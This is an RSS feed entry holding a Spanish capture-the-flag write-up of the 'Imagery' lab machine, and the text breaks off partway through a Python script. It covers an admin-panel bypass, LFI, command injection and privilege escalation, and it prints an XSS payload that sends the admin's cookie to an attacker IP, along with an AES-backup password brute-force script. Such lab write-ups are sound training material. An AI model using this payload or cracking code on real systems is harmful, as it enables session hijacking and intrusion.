<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>XSS on</title><link>https://synacklabs.github.io/tags/xss/</link><description>Recent content in XSS on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Sat, 24 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/xss/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Imagery (Medium)</title><link>https://synacklabs.github.io/posts/imagery/</link><pubDate>Sat, 24 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/imagery/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina presenta una aplicación web en el puerto 8000. Tras un bypass de control de acceso en el frontend, identifico un &lt;strong&gt;XSS&lt;/strong&gt; en el sistema de reportes que me permite robar la cookie del administrador. Con acceso de admin, exploto un &lt;strong&gt;LFI&lt;/strong&gt; para leer el código fuente (&lt;code&gt;app.py&lt;/code&gt;), revelando credenciales de un usuario de pruebas. Utilizando estas credenciales, abuso de una inyección de comandos en la función de &amp;ldquo;crop&amp;rdquo; de imágenes para ganar acceso al sistema. Finalmente, descifro un backup encontrado localmente para pivotar al usuario &lt;code&gt;mark&lt;/code&gt; y escalo privilegios abusando de una utilidad de gestión de &lt;strong&gt;Cron jobs&lt;/strong&gt; mal configurada.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina presenta una aplicación web en el puerto 8000. Tras un bypass de control de acceso en el frontend, identifico un &lt;strong&gt;XSS&lt;/strong&gt; en el sistema de reportes que me permite robar la cookie del administrador. Con acceso de admin, exploto un &lt;strong&gt;LFI&lt;/strong&gt; para leer el código fuente (&lt;code&gt;app.py&lt;/code&gt;), revelando credenciales de un usuario de pruebas. Utilizando estas credenciales, abuso de una inyección de comandos en la función de &amp;ldquo;crop&amp;rdquo; de imágenes para ganar acceso al sistema. Finalmente, descifro un backup encontrado localmente para pivotar al usuario &lt;code&gt;mark&lt;/code&gt; y escalo privilegios abusando de una utilidad de gestión de &lt;strong&gt;Cron jobs&lt;/strong&gt; mal configurada.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80a6-921c-e556b36cf2ff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escaneo-y-reconocimiento"&gt;Escaneo y Reconocimiento&lt;/h2&gt;
&lt;p&gt;Comienzo con un escaneo de puertos estándar.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8000/tcp open http-alt syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puerto-8000"&gt;Enumeración Web (Puerto 8000)&lt;/h3&gt;
&lt;p&gt;La aplicación web ofrece funcionalidades básicas: Registro, Login, Subida de imágenes (Galería) y Reporte de Bugs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8082-8550-c1e4e8b23262.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="bypass-de-autenticación-frontend"&gt;Bypass de Autenticación (Frontend)&lt;/h3&gt;
&lt;p&gt;Al investigar el proceso de login, intercepto la petición &lt;code&gt;GET /auth&lt;/code&gt; que verifica el estado del usuario. La respuesta contiene un objeto JSON con el valor &lt;code&gt;isAdmin: false&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Modifico la respuesta en vuelo (response manipulation) cambiando el valor a &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80f2-9ea1-ebf6addc6508.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-807f-bb6c-e94bf42c343e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al no haber validación en el backend para la visualización del panel, logro acceder al &lt;strong&gt;Frontend de Administración&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Hay validación el el backend así que no podemos usar estas funcionalidades. Vamos a probar con isTestUser.&lt;/p&gt;
&lt;p&gt;Vemos que tenemos una pestaña de ManageGroups.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8015-aeaa-c5663154ad0c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial"&gt;Acceso Inicial&lt;/h2&gt;
&lt;h3 id="xss-cross-site-scripting"&gt;XSS (Cross-Site Scripting)&lt;/h3&gt;
&lt;p&gt;En el panel de Admin visualizado anteriormente, podemos ver que hay una función implementada que permite visualizar los bug reports por el administrador. Una posible XXS.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80aa-afee-c16e0c77c688.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Inyecto un payload de XSS para exfiltrar las cookies del administrador hacia mi servidor.&lt;/p&gt;
&lt;p&gt;El payload:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;img src=x onerror=fetch(&lt;span style="color:#e6db74"&gt;&amp;#39;http://10.10.14.53:8000/?pwned=&amp;#39;&lt;/span&gt;+document.cookie)&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-809e-b7b4-f6609155c624.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80a6-9606-d934a198cbe6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Recibo la conexión en mi servidor y obtengo la cookie de sesión del administrador.&lt;/p&gt;
&lt;h3 id="lfi-local-file-inclusion"&gt;LFI (Local File Inclusion)&lt;/h3&gt;
&lt;p&gt;Con la sesión de administrador válida, accedo al panel real.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80dc-ad71-f8623b1c85da.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Encuentro una funcionalidad para descargar logs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8058-81db-fef967a0c13a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Puede ser una posible LFI.&lt;/p&gt;
&lt;p&gt;Al probar payloads de &lt;strong&gt;Path Traversal&lt;/strong&gt;, descubro que es efectivamente es vulnerable a &lt;strong&gt;LFI&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8079-a5cf-c1c04712d711.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Intento técnicas de Log Poisoning y Wrappers PHP sin éxito. Sin embargo, al analizar las cabeceras del servidor (&lt;code&gt;Werkzeug&lt;/code&gt;) y buscando en el github de el server Werkzeug, podemos ver un poco la estructura y ver que normalmente esta basado en una aplicación Python.&lt;/p&gt;
&lt;p&gt;Si buscamos ese fichero y &lt;a href="http://config.py/"&gt;config.py&lt;/a&gt; podremos ver la estructura entera del proyecto.&lt;/p&gt;
&lt;p&gt;Apunto al archivo principal donde se guarda la base de datos de la aplicación: &lt;code&gt;db.json&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80ba-b87b-f7ca00a4f5f7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Encontramos hashes de los usuarios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80dc-bb22-e027b9012ffd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuario:&lt;/strong&gt; &lt;code&gt;Testuser&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;imbatman&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="rce-remote-code-execution"&gt;RCE (Remote Code Execution)&lt;/h3&gt;
&lt;p&gt;Analizando el código fuente descargado (&lt;code&gt;api_edit&lt;/code&gt;), encuentro la función &lt;code&gt;crop&lt;/code&gt; para recortar imágenes. Esta función utiliza una llamada al sistema con &lt;code&gt;shell=True&lt;/code&gt;, lo que permite inyección de comandos. El código indica que esta función &lt;strong&gt;solo está disponible para el rol&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;Testuser&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-809f-a08f-d325c89e0791.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Me logueo con las credenciales obtenidas (&lt;code&gt;Testuser:imbatman&lt;/code&gt;) y exploto la vulnerabilidad inyectando un comando para obtener una reverse shell usando &lt;code&gt;busybox&lt;/code&gt; y &lt;code&gt;nc&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8001-bb81-e9924625cbc6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8067-bcf8-d010ecd8b9a1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Consigo acceso al sistema como &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="movimiento-lateral-usuario-mark"&gt;Movimiento Lateral: Usuario Mark&lt;/h2&gt;
&lt;h3 id="enumeración-y-cracking-de-backup"&gt;Enumeración y Cracking de Backup&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;Emeramos y podemos ver un archivo extraño de backups en la carpeta &lt;code&gt;/var/backup/web---.zip.aes&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8063-a9c4-cd9e5ce2d4d7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Descargo el archivo. Al ser un archivo &lt;code&gt;.aes&lt;/code&gt;, necesito fuerza bruta. Desarrollo un script en Python utilizando &lt;code&gt;pyAesCrypt&lt;/code&gt; para intentar descifrarlo usando el diccionario &lt;code&gt;rockyou.txt&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Script de Cracking (Resumen):&lt;/strong&gt;&lt;br&gt;
El script itera sobre una wordlist, intentando descifrar el archivo con &lt;code&gt;pyAesCrypt.decryptFile&lt;/code&gt;. Si el archivo de salida tiene tamaño mayor a 0, asume que la contraseña es correcta.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;aes_bruteforce.py
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Modo 1: wordlist (recomendado para CTFs) --rockyou
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Modo 2: brute (solo para longitudes muy pequeñas o pruebas)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Uso:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; python3 aes_bruteforce.py --file archivo.zip.aes --wordlist /path/to/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; python3 aes_bruteforce.py --file archivo.zip.aes --brute --min 1 --max 4 --charset abcdef012345
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Notas:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; - Este script intenta descifrar con pyAesCrypt.decryptFile creando un archivo temporal.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; - Si tu .aes no es de AES Crypt (pyAesCrypt) esto fallará; en ese caso usa el flujo zip2john/john o hashcat.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import argparse
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import pyAesCrypt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import tempfile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import os
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import sys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from tqdm import tqdm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import itertools
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tamaño del buffer recomendado por pyAesCrypt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BUFFER_SIZE &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; * &lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, password&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;Intenta descifrar aesfile con password. Devuelve True si tiene éxito.&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# crear temporal para escribir la salida descifrada&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmpf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; try:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmp &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tempfile.NamedTemporaryFile&lt;span style="color:#f92672"&gt;(&lt;/span&gt;delete&lt;span style="color:#f92672"&gt;=&lt;/span&gt;False&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmpf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tmp.name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmp.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# pyAesCrypt.decryptFile lanzará ValueError si la contraseña es incorrecta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pyAesCrypt.decryptFile&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, tmpf, password, BUFFER_SIZE&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# si llegamos aquí: posiblemente contraseña correcta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# comprobación simple: fichero resultado no vacío&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ok &lt;span style="color:#f92672"&gt;=&lt;/span&gt; os.path.getsize&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tmpf&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &amp;gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; ok
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# errores esperados: ValueError / IntegrityError etc. -&amp;gt; contraseña incorrecta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#print(&amp;#34;debug:&amp;#34;, repr(e))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; False
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; finally:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; tmpf and os.path.exists&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tmpf&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; try:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.remove&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tmpf&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pass
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def mode_wordlist&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, wordlist_path, start_line&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0, limit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;None&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Abrimos en modo texto (latin-1) para preservar bytes no ASCII&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open&lt;span style="color:#f92672"&gt;(&lt;/span&gt;wordlist_path, &lt;span style="color:#e6db74"&gt;&amp;#34;r&amp;#34;&lt;/span&gt;, encoding&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;latin-1&amp;#34;&lt;/span&gt;, errors&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ignore&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# si quieres evitar contar líneas (doble pasada) para wordlists muy grandes,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# usa tqdm sin total. Aquí elegimos no contar si limit is None para ser más rápido.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; start_line:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; _ in range&lt;span style="color:#f92672"&gt;(&lt;/span&gt;start_line&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not f.readline&lt;span style="color:#f92672"&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; limit is not None:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Si hay límite, mostramos un tqdm con total=limit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tqdm&lt;span style="color:#f92672"&gt;(&lt;/span&gt;total&lt;span style="color:#f92672"&gt;=&lt;/span&gt;limit, desc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;probando wordlist&amp;#34;&lt;/span&gt;, unit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;pwd&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tried &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; tried &amp;lt; limit:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; line &lt;span style="color:#f92672"&gt;=&lt;/span&gt; f.readline&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not line:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; break
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tried &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pwd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; line.strip&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, pwd&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] ¡Contraseña encontrada! -&amp;gt; {pwd}&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; pbar: pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar.update&lt;span style="color:#f92672"&gt;(&lt;/span&gt;1&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; pbar: pbar.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;[-] No encontrada en este segmento.&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Sin límite: iteramos hasta el final. tqdm sin total (más rápido, no doble lectura)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pbar &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tqdm&lt;span style="color:#f92672"&gt;(&lt;/span&gt;desc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;probando wordlist&amp;#34;&lt;/span&gt;, unit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;pwd&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; line in f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pwd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; line.strip&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
